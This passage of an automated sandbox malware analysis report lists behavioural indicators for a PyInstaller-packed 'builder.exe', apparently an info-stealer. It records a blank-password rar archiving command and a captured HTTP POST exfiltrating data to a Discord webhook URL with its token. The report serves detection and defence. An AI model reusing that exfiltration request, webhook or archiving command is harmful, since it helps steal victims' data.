Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00f900000040c77be2f87f0000@ntdll.dll\"\n \"22002300f900000018c77be2f87f0000@ntdll.dll\"\n \"19001a00da00000040c77be2f87f0000@ntdll.dll\"\n \"22002300da00000018c77be2f87f0000@ntdll.dll\"\n \"19001a002a00000040c77be2f87f0000@ntdll.dll\"\n \"\"#*@ntdll.dll\", \"19001a008f00000040c77be2f87f0000@ntdll.dll\", \"220023008f00000018c77be2f87f0000@ntdll.dll\", \"19001a00f87f000040c77be2f87f0000@ntdll.dll\", \"22002300f87f000018c77be2f87f0000@ntdll.dll\", \"19001a002e00000040c77be2f87f0000@ntdll.dll\", \"\"#.@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$44","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$45","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"builder.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"rar.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"VCRUNTIME140.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$46","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$47","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$48","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \"UPX1\" is \"0x161800\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \"UPX0\" is \"0x2fd000\" greater than 0x100000\n Virtual size of \"UPX1\" is \"0x162000\" greater than 0x100000\n Virtual size of \"UPX0\" is \"0x254000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"builder.exe\" has high imagebase \"0x140000000\"\n \"python310.dll\" has high imagebase \"0x180000000\"\n \"libcrypto-1_1.dll\" has high imagebase \"0x180000000\"\n \"rar.exe\" has high imagebase \"0x140000000\"\n \"sqlite3.dll\" has high imagebase \"0x180000000\"\n \"libssl-1_1.dll\" has high imagebase \"0x180000000\"\n \"VCRUNTIME140.dll\" has high imagebase \"0x180000000\"\n \"libffi-7.dll\" has high imagebase \"0x180000000\"\n \"unicodedata.pyd\" has high imagebase \"0x180000000\"\n \"_decimal.pyd\" has high imagebase \"0x180000000\"\n \"_lzma.pyd\" has high imagebase \"0x180000000\"\n \"_ssl.pyd\" has high imagebase \"0x180000000\"\n \"_ctypes.pyd\" has high imagebase \"0x180000000\"\n \"_sqlite3.pyd\" has high imagebase \"0x180000000\"\n \"_bz2.pyd\" has high imagebase \"0x180000000\"\n \"_socket.pyd\" has high imagebase \"0x180000000\"\n \"_hashlib.pyd\" has high imagebase \"0x180000000\"\n \"_queue.pyd\" has high imagebase \"0x180000000\"\n \"select.pyd\" has high imagebase \"0x180000000\"\n \"tinyaes.cp310-win_amd64.pyd\" has high imagebase \"0x180000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Possible archive activity detected","description":"Process \"rar.exe\" with commandline \"a -r -hpblank \"%TEMP%\\\\mXgY8.zip\" *\" (UID: 00000000-00008056)","origin":"Monitored Target","mitre_attack_id":"T1560.001","relevance":2,"id":"target-194","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$49","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$4a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"discord.com\"\n \"gstatic.com\"\n \"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"builder.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"builder.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$4c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$4d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$4e","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a web server","description":"\"POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7 HTTP/1.1\nHost: discord.com\nAccept-Encoding: identity\nContent-Length: 8159\nUser-Agent: python-urllib3/2.0.3\nContent-Type: multipart/form-data; boundary=99bc9948df5de1d58dd49f4619d3df09\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"Camera.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"builder.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI50282\\VCRUNTIME140.dll\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"file/memory contains long string(Source: \"00000000-00003884.00000000.176630.B2F70000.00000002.mdmp\")\n Found string \"<0s>: No attachments present+<0s>: Unsupported framebuffer configuration1<0s>: Attachments do not have the same dimensions\" (Source: \"00000000-00003884.00000000.176630.B2F70000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"builder.exe\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; File: \"builder.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"builder.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"builder.exe\")\n Found reference to API \"__vcrt_LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001004.00000000.176645.C9861000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001004.00000000.176645.C9861000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"builder.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$4f","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$50","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$51","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"python310.dll\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections\"- Location: [%TEMP%\\_MEI50282\\python310.dll]- [targetUID: 00000000-00007276]\n \"libcrypto-1_1.dll\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections\"- Location: [%TEMP%\\_MEI50282\\libcrypto-1_1.dll]- [targetUID: 00000000-00007276]\n \"sqlite3.dll\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections\"- Location: [%TEMP%\\_MEI50282\\sqlite3.dll]- [targetUID: 00000000-00007276]\n \"libssl-1_1.dll\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections\"- Location: [%TEMP%\\_MEI50282\\libssl-1_1.dll]- [targetUID: 00000000-00007276]\n \"VCRUNTIME140.dll\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections\"- Location: [%TEMP%\\_MEI50282\\VCRUNTIME140.dll]- [targetUID: 00000000-00001004]\n \"libffi-7.dll\" has type \"PE32+ executable for MS Windows 6.00 (DLL) x86-64 3 sections\"- Location: [%TEMP%\\_MEI50282\\libffi-7.dll]- [targetUID: 00000000-00007276]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"PyInstaller file activity detected","description":"\"builder.exe\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI50282\\_bz2.pyd\"\n \"builder.exe\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI50282\\_ctypes.pyd\"","origin":"API Call","mitre_attack_id":"T1059.006","relevance":1,"id":"api-211","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"builder.exe\" queries basic process information of the \"C:\\builder.exe\" (UID: 5028)\n \"builder.exe\" queries basic process information of the \"C:\\builder.exe\" (UID: 7276)\n \"builder.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 7276)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 744)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\net.exe\" (UID: 744)\n \"net.exe\" queries basic process information of the \"C:\\Windows\\System32\\net.exe\" (UID: 4996)\n \"net.exe\" queries basic process information of the \"C:\\Windows\\System32\\net1.exe\" (UID: 4996)\n \"net1.exe\" queries basic process information of the \"C:\\Windows\\System32\\net1.exe\" (UID: 1732)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$52","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"builder.exe\" reads file \"c:\\builder.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"Found string \"/c \"powershell Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER\"\"; File: \"cmd.exe\")\n Found string \"powershell Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$53","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"builder.exe\" trying to touch file \"C:\\BUILDER.EXE.LOCAL\"\n \"builder.exe\" trying to touch file \"C:\\builder.exe.Local\\\"\n \"builder.exe\" trying to touch file \"C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.248_none_15ced204935f55d7\\comctl32.dll\"\n \"builder.exe\" trying to touch file \"C:\\WINDOWS\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.248_none_15ced204935f55d7\\COMCTL32.dll\"\n \"builder.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"builder.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"builder.exe\" trying to touch file \"\\Device\\CNG\"\n \"builder.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"builder.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\kernelbase.dll\"\n \"builder.exe\" trying to touch file \"C:\\Windows\\WindowsShell.Manifest\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$54","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$55","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"builder.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\_mei50282\\vcruntime140.dll\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"Found reference to API \"WNetCancelConnection2W\" (Indicator: \"WNetCancelConnection\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: 